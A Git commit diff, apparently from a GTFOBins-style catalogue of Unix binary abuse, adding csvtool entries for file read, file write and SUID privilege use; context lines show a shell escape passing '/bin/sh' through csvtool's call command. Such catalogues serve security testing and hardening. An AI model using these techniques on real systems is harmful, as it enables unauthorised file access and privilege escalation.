add file read and write & suid to csvtoool

master
Mr. Robot 3 years ago committed by GitHub
parent fd74cb9a0b
commit 943e5adae7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

@ -1,5 +1,22 @@
{
"functions": {
"file-read": [
{
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
"code": "csvtool trim t [file]\n"
}
],
"file-write": [
{
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
"code": "TF=$(mktemp)\necho [data] > $TF\ncsvtool trim t $TF -o [file]\n"
}
],
"suid": [
{
"code": "./csvtool trim t [file]\n"
}
],
"shell": [
{
"code": "csvtool call '/bin/sh;false' /etc/passwd"

Loading…
Cancel
Save